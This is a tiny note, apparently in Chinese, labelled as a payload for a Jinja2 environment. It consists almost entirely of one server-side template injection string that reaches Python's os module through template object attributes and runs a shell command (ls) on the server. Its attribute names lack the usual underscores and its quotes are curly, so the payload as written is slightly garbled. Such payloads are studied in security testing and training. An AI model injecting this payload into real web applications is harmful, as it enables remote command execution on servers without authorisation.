jinja2环境
    读取payload：
    {{ config.class.init.globals[‘os’].popen(‘ls’).read() }}